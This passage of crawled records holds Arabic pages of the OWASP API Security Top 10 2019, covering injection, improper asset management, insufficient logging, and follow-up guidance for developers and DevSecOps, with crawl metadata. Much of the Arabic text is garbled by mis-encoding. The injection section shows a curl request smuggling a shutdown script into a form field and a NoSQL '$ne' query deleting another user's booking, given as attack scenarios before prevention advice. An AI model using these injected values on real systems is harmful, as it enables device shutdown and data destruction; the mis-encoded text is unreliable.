للمهاجم بإغلاق أي جهاز مصاب بتلك الثغرة البرمجية\n\n```\n$ curl -k \"https://${deviceIP}:4567/api/CONFIG/restore\" -F 'appid=$(/etc/pod/power_down.sh)'\n```\n\n### السيناريو الثاني :\n\nلدينا تطبيق قائم على وظا،ف CRUD للتعامل مع الحجوزات، تمكن مهاجم من التعرف على إمكانية حقن NoSQL من خلال الاستعلام بالمعرف الفريد للحجوزات `bookingId` وطلب الحذف بأمر كالتالي: `DELETE /api/bookings?bookingId=678`\n\nخادم واجهة برمجة التطبيقات (API Server) يستخدم الدالة التالية للتعامل مع طلبات الحذف:\n\n```\nrouter.delete('/bookings', async function (req, res, next) {\n try {\n const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId});\n res.status(200);\n } catch (err) {\n res.status(400).json({error: 'Unexpected error occured while processing a request'});\n }\n});\n```\n\nقام المهاجم باؚتعا؜ الطلبات الخاصة بالمعرف الفريد `bookingId`وقام بتغير أمر الاستعلام كما هو معروض بالأسفل مما أدى إلى حذف ح؏ز يعود لمستخدم آ؎ع:\n\n```\nDELETE /api/bookings?bookingId[$ne]=678\n```\n\n## كيف أمنع هذه الثغرة؟\n\nلمنع عمليات الحقن انت بحا؏؊ إلى فصل الأوامر والتعليمات البرمجية عن الاستعلامات بشكل صحيح و امن.\n\n- قم بؼ؏عاإ التحقق من ؾح؊ البيانات المدخلة باستخدام مكتبة موحدة وامنه وموثوقة ويتم صيانتها بشكل دوري.\n- تحقق من ؾح؊ جميع البيانات المقدمة من المستخدم أو غيرها من البيانات الواردة من الأنظمة المتكاملة وتصفيتها.\n- يجب التعامل مع الأحرف والرموز الخاصة باستخدام الصيغة المحددة للمفسر المستهدف.\n- استخدم واجهة برمجة تطبيقات آمنة (safe API) ذات استعلامات وا؜ح؊.\n- ؜ؚ حداً لعدد السجلات التي يتم إرجاعها لمنع تسريب البيانات بشكل كبير في حالة نجاح عملية الحقن.\n- تحقق من ؾح؊ البيانات الواردة باستخدام عوامل تصفية كافية للسماح فقط بالقيم الصالحة لكل استعلام تم إدخاله.\n- ؚعف بشكل وا؜ح ومحدد الانماط و أنواع البيانات المستخدمة في الاستعلامات\n\n## المراجع\n\n- [OWASP Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\n- [NoSQL Injection Fun with Objects and Arrays](https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf)\n- [Command Injection](https://www.owasp.org/index.php/Command_Injection)\n\n### مصادر خارجية :\n\n- [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)", "znaku_textu": 5778, "slov": 661, "odkazu": 167, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:13", "sha256": "1b70a0885b047fb82c0e0e90d584973dc0487afb1cb12bf383ce47eb0b9964d2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Injection_Flaws", "https://www.owasp.org/index.php/SQL_Injection", "https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf", "https://www.owasp.org/index.php/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/89.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xa9-improper-assets-management/", "titulek": "API9:2019 ؼداع؊ الأصول بشكل ؎اء، - OWASP API Security Top 10", "h1": "API9:2019 ؼداع؊ الأصول بشكل ؎اء،", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xa9-improper-assets-management/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2019 ؼداع؊ الأصول بشكل ؎اء،"}, {"uroven": 2, "text": "هل واجهة برمجة التطبيقات API معرضة لهذه الثغرة؟"}, {"uroven": 3, "text": "قد تكون واجهة برمجة التطبيقات معرض لمثل هذه الثغرة في حالة :"}, {"uroven": 2, "text": "أمثلة على سيناريوهات الهجوم:"}, {"uroven": 3, "text": "السيناريو الأول:"}, {"uroven": 3, "text": "السيناريو الثاني:"}, {"uroven": 2, "text": "كيف أمنع هذه الثغرة؟"}, {"uroven": 3, "text": "المراجع"}, {"uroven": 4, "text": "المصادر الخارجية:"}], "markdown": "# API9:2019 ؼداع؊ الأصول بشكل ؎اء،\n\n| عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير |\n| --- | --- | --- |\n| ؎ؾا،ؾ API : قابلية الاستغلال **3** | الانتشار **3** : قابلية الاكتشاف **2** | قابلية التأثر التقني **2** : ŘŞŘŁŘŤŘą الأعمال |\n| ؼؾداعات واجهة برمجة التطبيقات API القديمة غالباً غير مرقعة وتؚتبع طريق سهل لاختراق الأنظمة وت؏اوز العديد من تقنيات الحماية الحديثة والتي تم تركيبها غالباً لحماية الأنظمة الحديثة و المتطورة من واجهة برمجة التطبيقات API. | وثائق الأنظمة والبرمجيات الغير محدثة تجعل من الصعب تتبؚ وإصلاح الثغرات. وكذلك عدم و؏ود ؏عد للأصول التقنية واستراتيجية للتخلص من الأصول القديمة يؤدي إلى و؏ود أنظمة تعمل بدون ترقيعات أمنية، وذلك قد يؤدي إلى تسريب للبيانات الحساسة. وكما انه من الشائع عؾد واجهة برمجة التطبيقات API متاحة على الإنترنت مع كونها لا تستخدم بسبب المفاهيم الحديثة كالخدمات المصغرة (microservices) والتي تجعل من التطبيقات سهلة النشر ومستقلة على سبيل المثال (الحوسبة السحابية) | قد يتمكن المهاجمون من الوصول إلى بيانات حساسة، أو حتى اختراق الخادم من خلال استغلال احد الثغرات الغير مرقعة لخدمات واجهة برمجة التطبيقات API والتي تستخدم للاتصال بقاعدة البيانات. |\n\n## هل واجهة برمجة التطبيقات API معرضة لهذه الثغرة؟\n\n### قد تكون واجهة برمجة التطبيقات معرض لمثل هذه الثغرة في حالة :\n\n- الغرض من استخدام واجهة برمجة التطبيقات غير وا؜ح ولا تو؏د ؼ؏ابات للأسئلة التالية:\n- ما هي البيئة التي تعمل فيها واجهة برمجة التطبيقات (على سبيل المثال ، الإنتاج ، التدريج ، الاختبار ، التطوير)؟\n- من المخول للوصول إلى الشبكة الخاصة بواجهة برمجة التطبيقات (على سبيل المثال ، عام ، داخلي ، شعكاإ)؟\n- ما هو ؼؾداع API المستخدم؟\n- ماهي البيانات التي يتم جمعها بواسء؊ API؟ وهل هي بيانات شخصية؟\n- ماهي آلية سير البيانات؟\n- لا تو؏د وثائق معتمدة أو وثائق قديمة وغير محدثة.\n- لا تو؏د ؎ء؊ للتخلص من ؼؾداع؊ واجهة برمجة التطبيقات القديمة.\n- لا يوجد حؾع للأصول أو أنه غير محدث.\n- لا يوجد حؾع للخدمات المتصلة بالأنظمة سواإ كانت ءعف أول أو ءعف ثالث أو أنه غير محدث.\n- ؼؾداعات API قديمة وغير محدثة ولا تزال مستخدمة\n\n## أمثلة على سيناريوهات الهجوم:\n\n### السيناريو الأول:\n\nبؚد ؼؚاد؊ تصميم التطبيقات لإحدى الخدمات، لم يتم التخلص من الإصدارة القديمة والغير محمية من واجهة برمجة التطبيقات `api.someservice.com/v1` والمتصلة بقاعدة البيانات. وبؚد عمليات الفحص من قبل ŘŁŘ­ŘŻ المهاجمين توصل لعنوان واجهة برمجة التطبيقات الجديدة `api.someservice.com/v2`. باستبدال `v2` بـ `v1` تمكن المهاجم من الوصول لواجهة برمجة التطبيقات القديمة والغير محدثة والتي ŘŁŘŻŘŞ إلى تسريب معلومات شخصية لأكثر من 100 مليون مستخدم.\n\n### السيناريو الثاني:\n\nقامت منصة للتواصل الاجتماعي باستخدام آلية للحد من ؚدد محاولات تخمين كلمات المرور. آلية الأمان تلك لم يتم تطبيقها على الشفرة المصدرية الخاصة بواجهة برمجة التطبيقات API، بل قاموا بفصلها لكي تكون ما بين المستخدم وواجهة برمجة التطبيقات (`www.socialnetwork.com`). ŘŁŘ­ŘŻ الباحثين ؚ؍ع على خادم لنسخة تجريبية (`www.mbasic.beta.socialnetwork.com`) والتي يستطيع من خلالها القيام بنفس المهام التي تقوم بها الواجهة المعتمدة بما في ذلك ؼؚاد؊ تعين كلمات المرور لكن بدون آلية الأمان التي ŘŞŘ­ŘŻ من ؚدد محاولات التخمين. و باستخدام النسخة التجريبية تمكن الباحث من ؼؚاد؊ تعيين كلمة السر بؚد قيامة بعمليات بسيطة لتخمين كلمة المصادقة المكونة من 6 أرقام.\n\n## كيف أمنع هذه الثغرة؟\n\n- ؏عد وحؾع جميع الأجهزة الخاصة بواجهة برمجة التطبيقات وتوثيق الجوانب الهامة لك واحد منهم، والتركيز بشكل كبير على بيئة API (على سبيل المثال، الإنتاج ، التدريج ، الاختبار ، التطوير)، ومن هم المخولين بالوصول لهم من الشبكة (كشبك؊ الإنترنت أو الداخلية أو الشركاء).\n- حؾع جميع الخدمات المرتبطة بالأنظمة وتوثيق جوانبها المهمة كدورها في النظام ونوعية البيانات التي يتم تداولها من خلالها وحساسية تلك البيانات.\n- توثيق جميع جوانب واجهة برمجة التطبيقات API مثل عمليات التحقق والأخطاء وؼؚاد؊ التوجيه وسياسة حؾع مشاركة الموارد (CORS)، بما في ذلك إعداداتها والطلبات والاستجابة لتلك الطلبات.\n- إنشاء الوثائق بشكل آلي من خلال تبني المعايير المفتوحة. وتضمين عملية بناء الوثائق في ؎ء الإنتاج الخاص با؎تباع ونشر التطبيقات.\n- التأكد من أن الوثائق متاحة للأشخاص المصرح لهم فقط.\n- التأكد من استخدام التدابير الوقائية اللازمة مثل جدران الحماية الخاصة بواجهة برمجة التطبيقات API لجميع ؼؾداعات واجهة برمجة التطبيقات المتصلة بالأنترنت وليس فقط الإصدارة الحالية.\n- تجنب استخدام بيانات حقيقية من بيئة التشغيل على البيئة التجريبية لواجهة برمجة التطبيقات، وفي حال تو؏ب عليك استخدامها فيجب أن يتم تطبيق جميع المعايير الأمنية نفسها التي يتم تطبيقها على بيئة التشغيل.\n- في حال كانت الإصدارات الحديثة من واجهة برمجة التطبيقات تحتوي على معايير أمان افضل، قم بؼ؏عاإ تحليل للمخاطر لاتخاذ القرارات والإجراءات التي ت؎فف من مخاطر الإصدار القديم. على سبيل المثال ؼذا كان من الممكن ؼ؜اف؊ تلك المعايير الأمنية الجديدة للإصدار السابق من دون التأثير على التوافقية مع الأنظمة الأخرى أو أنه لابد من التخلص من الإصدار القديم و إلزام جميع المستخدمين بالانتقال إلى الإصدار الحديث.\n\n### المراجع\n\n#### المصادر الخارجية:\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)\n- [OpenAPI Initiative](https://www.openapis.org/)", "znaku_textu": 8172, "slov": 946, "odkazu": 163, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:41", "sha256": "9fe1c0760f30730a91e4b2fd15b0b0794d11aff89c98e36b7abb271644daa265", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xaa-insufficient-logging-monitoring/", "titulek": "API10:2019 خلل في طريقة تسجيل الاحداث والمراقبة - OWASP API Security Top 10", "h1": "API10:2019 خلل في طريقة تسجيل الاحداث والمراقبة", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xaa-insufficient-logging-monitoring/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2019 خلل في طريقة تسجيل الاحداث والمراقبة"}, {"uroven": 2, "text": "هل أنا معرض لهذه الثغرة؟"}, {"uroven": 3, "text": "سيكون النظام لديك معرض اذا كان:"}, {"uroven": 2, "text": "امثلة على سيناريوهات الهجوم:"}, {"uroven": 3, "text": "السيناريو الاول:"}, {"uroven": 3, "text": "السيناريو الثاني :"}, {"uroven": 2, "text": "كيف أمنع هذه الثغرة؟"}, {"uroven": 2, "text": "المراجع :"}, {"uroven": 3, "text": "المصادر الخارجية :"}], "markdown": "# API10:2019 خلل في طريقة تسجيل الاحداث والمراقبة\n\n| عوامل التهديد/ الاستغلال | نقاط الضعف | التأثير |\n| --- | --- | --- |\n| ؎ؾا،ؾ API : قابلية الاستغلال **2** | الانتشار **3** : قابلية الاكتشاف **1** | التأثر التقني **2** : ŘŞŘŁŘŤŘą الأعمال |\n| يستغل المهاجمون عدم تسجيل الاحداث وحعك؊ مرور البيانات بشكل صحيح للقيام بأنشطة ؜اع؊ على الأنظمة من دون أي ملاحظة. | عدم و؏ود أو خلل في آلية نظام تسجيل الاحداث و مراقبة حعك؊ مرور البيانات ينتج عنه ؾؚوب؊ في تتبؚ الأنشطة المشبوة والاستجابة لها في الوقت المناسب. | عدم و؏ود رؤية كاملة على الانشطة المشبوة التي ŘŞŘ­ŘŻŘŤ تمنح المهاجمين الوقت الكافي لأختراق الأنظمة. |\n\n## هل أنا معرض لهذه الثغرة؟\n\n### سيكون النظام لديك معرض اذا كان:\n\n- لا يتم است؎عا؏ أي سجلات او لم يتم تعيين عمليات التسجيل بالشكل الصحيح او لم يتم جمع السجلات بشكل كافي وناضج.\n- عند عدم ضمان السجلات (على سبيل المثال في حال حقن السجلات بسجلات غير صحيح)\n- لا يتم مراقبة السجلات بشكل مستمر\n- لا يتم مراقبة البنية التحتية لواجهة برمجة التطبيقات API بشكل مستمر.\n\n## امثلة على سيناريوهات الهجوم:\n\n### السيناريو الاول:\n\nعن طريق الخطأ تم تسريب احد مفاتيح ؼداع؊ المستودعات في احد المستودعات العامة، لذا تم أ؎ءاع مالك المستودع عن طريق البريد الالكتروني بشأن التسريب المحتمل، ولكن لم يقم مالك المستودع بالتجاوب في خلال 48 ساؚ؊ والتصرف بشأن هذا التسريب، وﻷن من المحتمل استخدام هذه المفاتيح في عمليات تسريب البيانات، و بسبب عدم تسجيل الاحداث بشكل صحيح لا تستطيع الشركة تقييم ومعرفة الأصول والبيانات التي تم الوصول لها او في حال تم تسريبها.\n\n### السيناريو الثاني :\n\nمنصة مشاركة ملفات الفيديو تؚع؜ت بشكل واسؚ الى هجمات محاولة كسع كلمات المرور بأستخدام حسابات مستخدمين صالحة, بالرغم من المحاولات الكثيرة لعمليات تسجيل الدخول الخاطئة لم تظهر أي تنبيهات اثناء الهجوم، في حين قام المستخدمين بالشكوى لدى الشركة بشأن اغلاق حسابتهم بشكل مفاجئ، وبؚد تحليل سجلات الخاصة بواجهات برمجة التطبيقات API تبين أن هناك هجوم Ř­ŘŻŘŤ.لذا قامت الشركة أؾداع اعلان لجميع المستخدمين لأعادة تهيئة كلمات المرور الخاصة بهم.\n\n## كيف أمنع هذه الثغرة؟\n\n- قم بتسجيل جميع محاولات المصادقة الفاشلة او محاولات عف؜ الوصول للمجلدات وكذلك جميع المدخلات الخاطئة.\n- يجب كتاب؊ السجلات بشكل متناسق لاستخدامه في عمليات ؼداع؊ السجلات ويجب ان تتضمن كاف؊ التفاصيل التي تتيح للمحلل معرفة الأنشطة الضارة ومن قام بها.\n- يجب التعامل مع السجلات باعتبارها بيانات حساس؊ ويجب ضمان سلامتها اثناء المرور و التخزين.\n- قم بؼؚداد عمليات المراقبة واجعلها مستمرة ولتشمل البنية التحتية والشبكات و واجهة برمجة التطبيقات API.\n- استخدام أنظمة مركز سجل الأحداث SIEM لإدارة السجلات من جميع المصادر والأنظمة و واجهات برمجة التطبيقات.\n- قم بؼؚداد لوحة مراقبة مخصصة للتنبيهات الأمنية وقم بتفعيل التواقيع الرقمية لرصد الأنشطة المشبوهة لرصدها في مراحلها الأولية.\n\n## المراجع :\n\n- [OWASP Logging Cheat Sheet](https://www.owasp.org/index.php/Logging_Cheat_Sheet)\n- [OWASP Proactive Controls: Implement Logging and Intrusion Detection](https://www.owasp.org/index.php/OWASP_Proactive_Controls)\n- [OWASP Application Security Verification Standard: V7: Error Handling and\n Logging Verification Requirements](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md)\n\n### المصادر الخارجية :\n\n- [CWE-223: Omission of Security-relevant Information](https://cwe.mitre.org/data/definitions/223.html)\n- [CWE-778: Insufficient Logging](https://cwe.mitre.org/data/definitions/778.html)", "znaku_textu": 5113, "slov": 567, "odkazu": 166, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:32:37", "sha256": "4d35671a0e6f8bf31a3b731cad40ef785760565d0283b55a2dadf7a5c3879e05", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Logging_Cheat_Sheet", "https://www.owasp.org/index.php/OWASP_Proactive_Controls", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md", "https://cwe.mitre.org/data/definitions/223.html", "https://cwe.mitre.org/data/definitions/778.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xb0-next-devs/", "titulek": "ما التالي للمطورين؟ - OWASP API Security Top 10", "h1": "ما التالي للمطورين؟", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xb0-next-devs/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ما التالي للمطورين؟"}], "markdown": "# ما التالي للمطورين؟\n\nقد تكون مهمة إنشاء برامج آمنة وصيانتها ، أو إصلاح البرامج الموجودة ، ؾؚب؊. وكذلك هو الحال مع واجهات برمجة التطبيقات لا تختلف.\n\nنعتقد أن التعليم والوعي من العوامل الرئيسية لكتابة برامج آمنة. كل شيء آ؎ع من المتطلبات هو لتحقيق الأهداف المنشودة، **وهو بالأساس يعتمد على إنشاء واستخدام عمليات أمنية قابلة للتكرار و؜وابء أمنية قياسية**.\n\nلدى OWASP العديد من الموارد المجانية والمفتوحة لمعالجة مشاكل الأمن منذ بداية هذا المشروع. يرجى زيارة ؾفح؊ مشاريع أواسب للحصول على [قائمة شاملة بالمشاريع المتاحة](https://www.owasp.org/index.php/Category:OWASP_Project).\n\n| | |\n| --- | --- |\n| **تعليم أمن التطبيقات** | يمكنك البدء في قراءة مواد مشروع OWASP التعليمي وفقًا لمهنتك واهتماماتك. للتعلم العملي ، أضفنا crAPI - Ridiculous API في ؎اعء؊ الطريق الخاصة بنا. وفي الوقت نفسه ، يمكنك التدرب على WebAppSec باستخدام OWASP DevSlop Pixi Module ، وهو تطبيق ويب ضعيف وخدمة API تهدف إلى تعليم المستخدمين كيفية ا؎تباع تطبيقات الويب الحديثة وواجهات برمجة التطبيقات للتعامل مع مشكلات الأمان ، وكيفية كتاب؊ واجهات برمجة تكون أك؍ع أمانًا في المستقبل. كما يمكنك أيضًا ح؜وع جلسات OWASP AppSec التدريبية أو الانضمام إلى فرق OWASP المحلية . |\n| **متطلبات أمن التطبيقات** | لإنتاج تطبيقات ويب آمنة، يجب عليك تعريف معنى الأمن بالنسبة للتطبيق. أواسب تنصحك باستخدام مشروع أواسب لمعايير التحقق من أمن التطبيقات، كدليل إرشادي يساعدك في ؜بء المتطلبات الأمنية لتطبيقاتك. في حال انجاز المشاريع ؚبع موارد خارجية، قم بمراجعة ملحق أواسب لعقود البرمجيات الآمنة. |\n| **هيكلة أمن التطبيقات** | يجب أن يظل الأمن مصدر للاهتمام خلال جميع مراحل المشروع. تؚد ورقة المرجعية من OWASP (Cheat Sheet) نقطة انطلاق جيدة للإرشادات حول كيفية تصميم الأمان أثناء مرحلة البناء. من بين العديد من الاوراق الأخرى ، ست؏د ورقة مراجع الأمان (Security Cheat Sheet) وورقة مراجع التقييم (Assessment Cheat Sheet.) |\n| **أدوات التحكم الأمنية المعيارية** | إن عملية إنشاء أدوات تحكم أمنية قوية ومناسبة للاستخدام هي مهمة ؾؚب؊ ؏دا . إن و؏ود مجموعة من أدوات التحكم الأمنية المعيارية ستسهل –وبشكل جذري- عملية تطوير تطبيقات آمنة. تنصح أواسب بمشروع واجهات التطبيقات البرمجية الأمنية للمنشآت كنموذج لواجهات التطبيقات البرمجية APIs اللازمة لإنتاج تطبيقات ويب آمنة. أيضا يقدم بؚ؜ المكتبات والأدوات التي قد تجدها ذات قيمة ، مثل التحقق من ؾح؊ أدوات التحكم. |\n| **دوع؊ حياة التطوير الآمنة** | يمكنك استخدام OWASP Software Assurance Maturity Model (SAMM) لتحسين العملية عند إنشاء واجهات برمجة التطبيقات API. تتوفع العديد من مشاريع OWASP الأخرى لمساعدتك خلال مراحل تطوير API المختلفة ، على سبيل المثال ، مشروع مراجعة كود OWASP. |", "znaku_textu": 4120, "slov": 510, "odkazu": 154, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:07:54", "sha256": "8e217a206abd5a0ba2fbe0b498b8ac3e07cddfff8601a19f999b3693508b6f9b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xb1-next-devsecops/", "titulek": "ما التالي لمطوري الممارسات الامنية في التطبيقات؟ - OWASP API Security Top 10", "h1": "ما التالي لمطوري الممارسات الامنية في التطبيقات؟", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xb1-next-devsecops/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "ما التالي لمطوري الممارسات الامنية في التطبيقات؟"}], "markdown": "# ما التالي لمطوري الممارسات الامنية في التطبيقات؟\n\nنظرًا لأهميتها في بناء التطبيقات الحديثة ، فإن بناء واجهات برمجة آمنة أمر في غاية الأهمية ، ويجب أن يكون الأمن جزءًا من دوع؊ حياة التطوير بأكملها. لم تؚد ا؎تباعات الاختراق السنوية كافية.\n يجب أن تنضم DevSecOps إلى جهود التطوير ، مما يسهل ا؎تباع الأمان المستمر ؚبع دوع؊ حياة تطوير البرامج بأكملها. هدفهم هو تعزيز طريق التطوير بأتمتة الأمان ، ودون التأثير على سعؚ؊ التطوير.\n\nاذا كنت تود الاطلاع والمراجعة ، عا؏ؚ https://www.devsecops.org/\n\n| فهم نماذج التهديد | تأتي أولويات الاختبار من نماذج التهديد المتوقعة. ؼذا لم يكن لديك واحد ، ففكع في استخدام OWASP Application Security Verification Standard (ASVS) ، ودليل ا؎تباع OWASP كمدخل. قد يساعد في عفؚ مستوى الوعي لفريق التطوير. |\n| --- | --- |\n| فهم دوع؊ حياة التطبيقات | قم بالانضمام الى فريق تطوير البرمجيات لفهم دوع؊ حياة البرامج. حيث ان مساهمتك في ا؎تباع الامان بشكل مستمر ومتوافق مع الادوات والعمليات والاجراءات التي يتفق عليها الجميع وبشكل سلسل. |\n| استراتيجيات الاختبار | لا يجب ان تؤ؍ع اعمالك على سعؚ؊ وتيرة التطوير بل يجب أن ت؎تاع بحكمة الأسلوب الأفضل (البسيط والأسرع والأكثر دقة) للتحقق من متطلبات الأمان. يمكن أن يكون ؼءاع OWASP للمعرفة الأمنية ومعيار OWASP للتحقق من أمان التطبيقات مصادر جيدة لمتطلبات الأمان الوظيفية وغير الوظيفية. هناك مصادر أخرى للمشاريع والأدوات المشابهة لتلك التي يقدمها مجتمع DevSecOps |\n| تحقيق التغطية والدقة المطلوبة | أنت حلقة الوصل بين المطورين وفرق العمليات. لتحقيق التغطية بالشكل المطلوب ، لا يجب أن تعكز فقط على آلية عملها فقط ، ولكن أيضًا على التنسيق بشكل سليم. وذلك من خلال العمل بالقرب من فرق التطوير والعمليات من البداية حتى تتمكن من استغلال الجهود المبذولة. يجب أن تهدف إلى حالة دائمة من تحقيق معايير الأمان بشكل أساسي ومستمر. |\n| ايصال النتائج بشكل وا؜ح | قم بالمشاركة في صنع قيمة مع اقل اختلاف مع فرق العمل. وقم بتسليم النتائج في الوقت المناسب ، باستخدام الأدوات المتاحة من قبل الفريق، انضم إلى فريق التطوير لمعالجة النتائج والمخرجات وقم بشعح ووؾف نقاط الضعف بشكل وا؜ح جداً وكيف سيتم ؼساإ؊ استخدامها وقم بذكع بؚ؜ السيناريوهات الحقيقة لاستغلالها . |", "znaku_textu": 3455, "slov": 416, "odkazu": 153, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:04", "sha256": "b9d64426ee775e0a95bf1b4c893ef115c6fd7d37bc8236a68a93a800614baf6a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xd0-about-data/", "titulek": "المنهجية والبيانات - OWASP API Security Top 10", "h1": "المنهجية والبيانات", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xd0-about-data/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "المنهجية والبيانات"}, {"uroven": 2, "text": "نظرة عامة"}, {"uroven": 2, "text": "المنهجية"}], "markdown": "# المنهجية والبيانات\n\n## نظرة عامة\n\nنظرًا لأن صناعة برامج آمنة لم تعكز بشكل ؎اؾ على ŘŁŘ­ŘŻŘŤ بنية وهيكلة للتطبيقات، حيث تلعب واجهات برمجة التطبيقات دورًا مهمًا، فإن تجميع قائمة بأك؍ع ؚشع؊ مخاطر لواجهة برمجة التطبيقات (API)، استنادًا إلى استفتاإ عام، كانت من أؾؚب المهام. على الرغم من عدم و؏ود مصادر عامة، إلا أن قائمة العشرة مخاطر لا تزال تستند على الاستفتاء، ومساهمات ؎بعاإ الأمن المعلوماتي، والمناقشات المفتوحة مع مجتمع الأمنى.\n\n## المنهجية\n\nفي المرحلة الأولى، تم جمع البيانات المتاحة من المصادر العامة وحول الحوادث الأمنية لواجهات برمجة التطبيقات API ومراجعتها وتصنيفها من قبل مجموعة من ؎بعاإ الأمن. وكما تم جمع هذه البيانات من منصات مكافآت الثغرات وقواعد بيانات الثغرات الأمنية، في ؼءاع زمني مدته عام واحد. تم استخدام تلك البيانات لأغراض إحصائية.\n\nفي المرحلة التالية ، طُلب من الممارسين الأمنيين ذوي الخبرة في ا؎تباع الاختراق حؾع اك؍ع ؚشع مخاطر امنية ؎اؾ؊ بهم.\n\nتم [استخدام منهجية OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) لتصنيف المخاطر لإجراء تحليل المخاطر. تمت مناقشة النتائج ومراجعتها بين الممارسين الأمنيين. للحصول على رأي OWASP حول هذه الامور ، يرجى الرجوع إلى قسم [مخاطر أمان API](../0x10-api-security-risks/).\n\nنتجت المسودة الأولى من OWASP API Security Top 10 2019 عن توافق بين النتائج الإحصائية من المرحلة الأولى وقوائم الممارسين الأمنيين. ثم تم تقديم هذه المسودة لتقديرها ومراجعتها من قبل مجموعة أخرى من ممارسي الأمن ، من ذوي الخبرة ذات الصلة في مجالات أمان واجهة برمجة التطبيقات.\n\nتم تقديم OWASP API Security Top 10 2019 لأول مرة في Ř­ŘŻŘŤ OWASP Global AppSec في (مايو 2019). منذ ذلك الحين ، كان متاحًا على GitHub للمناقشة العامة والمساهمات.\n\n[قائمة المساهمين متاحة في قسم الشكر والتقدير](../0xd1-acknowledgments/).", "znaku_textu": 2779, "slov": 364, "odkazu": 156, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:12", "sha256": "3d336542037ded915074365c72c3b98e4d7c0111353d41e3ed94f31fe61cf363", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/ar/0xd1-acknowledgments/", "titulek": "الإقرار - OWASP API Security Top 10", "h1": "الإقرار", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/ar/0xd1-acknowledgments/", "jazyk": "ar", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "الإقرار"}, {"uroven": 2, "text": "المساهمين في صناعة هذا المحتوى"}, {"uroven": 3, "text": "وكذلك المترجمين للغة العربية وهŮ"}], "markdown": "# الإقرار\n\n## المساهمين في صناعة هذا المحتوى\n\nنشكر جميع المشاركين بشكل عام من خلال 